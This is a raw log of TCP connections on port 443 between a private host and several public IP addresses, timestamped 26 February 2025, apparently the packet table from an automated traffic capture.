Feb 26, 2025 01:49:04.230839968 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.230884075 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.230890036 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.231628895 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.231667042 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.231697083 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.231702089 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.231746912 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.232465029 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.232532024 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.232592106 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.234925032 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.414382935 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.414397001 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:06.009845972 CET	61319	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:06.009936094 CET	443	61319	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:06.010019064 CET	61319	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:06.010293007 CET	61319	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:06.010319948 CET	443	61319	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:06.914927959 CET	443	61319	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:06.915266037 CET	61319	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:06.915338039 CET	443	61319	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:06.915796995 CET	443	61319	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:06.916143894 CET	61319	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:06.916234970 CET	443	61319	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:06.970184088 CET	61319	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:07.322793961 CET	61328	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:07.322899103 CET	443	61328	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:07.322993994 CET	61328	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:07.323329926 CET	61328	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:07.323364019 CET	443	61328	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:08.082545042 CET	443	61328	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:08.082665920 CET	61328	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:08.083086967 CET	61328	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:08.083092928 CET	443	61328	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:08.085769892 CET	61328	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:08.085776091 CET	443	61328	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:08.444629908 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:08.444638968 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:08.444693089 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:08.444921970 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:08.444931984 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:08.487792969 CET	61319	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:08.849396944 CET	443	61328	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:08.849443913 CET	443	61328	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:08.849473000 CET	61328	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:08.849536896 CET	61328	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:08.850358963 CET	61328	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:08.850383043 CET	443	61328	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.152625084 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.152715921 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.153124094 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.153129101 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.154934883 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.154939890 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.155056000 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.155067921 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.155354977 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.155369043 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.155741930 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.155771017 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.155906916 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.155920029 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.156064987 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.156069040 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.156147957 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.156157970 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.156271935 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.156279087 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.156299114 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.156305075 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.156310081 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.156318903 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.156357050 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.156363964 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.156373978 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.156379938 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.156389952 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.156393051 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.454041004 CET	61346	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.454113007 CET	443	61346	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:09.454328060 CET	61346	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.454504013 CET	61346	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:09.454530001 CET	443	61346	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:10.220726967 CET	443	61346	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:10.220838070 CET	61346	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:10.221204996 CET	61346	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:10.221220016 CET	443	61346	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:10.222965002 CET	61346	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:10.222965002 CET	61346	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:10.222989082 CET	443	61346	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:10.223025084 CET	443	61346	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:10.223289013 CET	61346	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:10.223335981 CET	443	61346	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:10.223603964 CET	61346	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:10.223619938 CET	443	61346	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:10.485270977 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:10.485357046 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:10.485390902 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:10.485761881 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:10.486077070 CET	61341	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:10.486088037 CET	443	61341	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:10.506386042 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:10.506427050 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:10.506532907 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:10.506707907 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:10.506724119 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.162201881 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.162369013 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.162748098 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.162756920 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.164448023 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.164455891 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.164530039 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.164544106 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.164664984 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.164686918 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.164779902 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.164808035 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.164906979 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.164921045 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.164937019 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.164949894 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.164983988 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.164993048 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.329910040 CET	443	61346	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.329979897 CET	443	61346	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.329978943 CET	61346	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.330029964 CET	61346	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.330996990 CET	61346	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.331027031 CET	443	61346	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.503963947 CET	61359	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.504007101 CET	443	61359	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:11.504127026 CET	61359	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.504412889 CET	61359	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:11.504427910 CET	443	61359	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:12.161767006 CET	443	61359	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:12.161856890 CET	61359	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:12.162754059 CET	61359	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:12.162765026 CET	443	61359	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:12.164540052 CET	61359	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:12.164546013 CET	443	61359	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:12.464709997 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:12.464786053 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:12.464956999 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:12.465980053 CET	61353	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:12.466022968 CET	443	61353	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:12.926671028 CET	443	61359	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:12.926727057 CET	443	61359	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:12.926743031 CET	61359	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:12.926773071 CET	61359	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:13.134721994 CET	61359	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:13.134744883 CET	443	61359	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:15.253803968 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:15.253859043 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:15.253918886 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:15.327285051 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:15.327323914 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:15.911760092 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:15.958185911 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.085383892 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.085391998 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.087094069 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.087135077 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.106390953 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.106509924 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.107764959 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.107781887 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.158102989 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.227684975 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.227720022 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.227730989 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.227763891 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.227781057 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.227786064 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.227797985 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.227798939 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.227833986 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.227941036 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.227982044 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.231831074 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.231888056 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.312438965 CET	61392	443	192.168.2.5	2.16.164.104
Feb 26, 2025 01:49:16.312458992 CET	443	61392	2.16.164.104	192.168.2.5
Feb 26, 2025 01:49:16.312505960 CET	61392	443	192.168.2.5	2.16.164.104
Feb 26, 2025 01:49:16.312745094 CET	61392	443	192.168.2.5	2.16.164.104
Feb 26, 2025 01:49:16.312756062 CET	443	61392	2.16.164.104	192.168.2.5
Feb 26, 2025 01:49:16.313838959 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.313899040 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.314142942 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.314181089 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.314476013 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.314512968 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.314760923 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.314800024 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.314870119 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.314909935 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.315635920 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.315682888 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.315691948 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.315732956 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.315742970 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.315788031 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.316431999 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.316476107 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.400825977 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.400898933 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.400922060 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.400958061 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.400963068 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.401031017 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.401067972 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.430638075 CET	61379	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.430665016 CET	443	61379	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.497445107 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.497497082 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.497558117 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.497751951 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.497764111 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.498574972 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.498622894 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.498681068 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.498924971 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:16.498938084 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:16.962033987 CET	443	61392	2.16.164.104	192.168.2.5
Feb 26, 2025 01:49:16.978759050 CET	61392	443	192.168.2.5	2.16.164.104
Feb 26, 2025 01:49:16.978769064 CET	443	61392	2.16.164.104	192.168.2.5
Feb 26, 2025 01:49:16.979682922 CET	443	61392	2.16.164.104	192.168.2.5
Feb 26, 2025 01:49:16.979743958 CET	61392	443	192.168.2.5	2.16.164.104
Feb 26, 2025 01:49:16.995435953 CET	61392	443	192.168.2.5	2.16.164.104
Feb 26, 2025 01:49:16.995510101 CET	443	61392	2.16.164.104	192.168.2.5
Feb 26, 2025 01:49:16.995640993 CET	61392	443	192.168.2.5	2.16.164.104
Feb 26, 2025 01:49:16.995651960 CET	443	61392	2.16.164.104	192.168.2.5
Feb 26, 2025 01:49:17.045651913 CET	61392	443	192.168.2.5	2.16.164.104
Feb 26, 2025 01:49:17.267395020 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.302244902 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.302268028 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.303767920 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.306555033 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.306716919 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.306762934 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.309578896 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.309803963 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.309849024 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.310328960 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.310940027 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.311054945 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.311084986 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.311110973 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.358850956 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.492237091 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.492292881 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.492325068 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.492345095 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.492357969 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.492362976 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.492389917 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.522783041 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.522880077 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.522901058 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.522958040 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.522980928 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.522980928 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.523053885 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.523083925 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.523113966 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.523113966 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.523169041 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.545643091 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.614849091 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.614881992 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.614932060 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.614953041 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.614969015 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.615006924 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.615031004 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.615060091 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.615060091 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.615060091 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.615060091 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.615103006 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.615113974 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.615170956 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.615223885 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.620517015 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.620577097 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.620599031 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.620625973 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.620665073 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.620687962 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.623068094 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.623151064 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.623164892 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.623192072 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.623229027 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.623229027 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.633586884 CET	61394	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.633610010 CET	443	61394	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.650496006 CET	61404	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:17.650616884 CET	443	61404	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:17.650755882 CET	61404	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:17.652851105 CET	61404	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:17.652884960 CET	443	61404	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:17.713198900 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.713277102 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.713299990 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.713361979 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.715049028 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.715094090 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.715114117 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.715131044 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.715164900 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.715186119 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.716068029 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.716141939 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.716157913 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.716171980 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.716206074 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.716226101 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.717654943 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.717736006 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.717803001 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.717818022 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.717844009 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.717978954 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.718076944 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.722162962 CET	61395	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:17.722194910 CET	443	61395	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:17.740216970 CET	443	61392	2.16.164.104	192.168.2.5
Feb 26, 2025 01:49:17.740269899 CET	443	61392	2.16.164.104	192.168.2.5
Feb 26, 2025 01:49:17.740372896 CET	61392	443	192.168.2.5	2.16.164.104
Feb 26, 2025 01:49:17.744143009 CET	61392	443	192.168.2.5	2.16.164.104
Feb 26, 2025 01:49:17.744168997 CET	443	61392	2.16.164.104	192.168.2.5
Feb 26, 2025 01:49:17.768630028 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:17.768672943 CET	443	61406	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:17.768790960 CET	61407	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:17.768826962 CET	61406	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:17.768836021 CET	443	61407	95.101.182.88	192.168.2.5
Feb 26, 2025 01:49:17.768883944 CET	61407	443	192.168.2.5	95.101.182.88
Feb 26, 2025 01:49:17.769117117 CET	61408	443	192.168.2.5	95.101.182.88
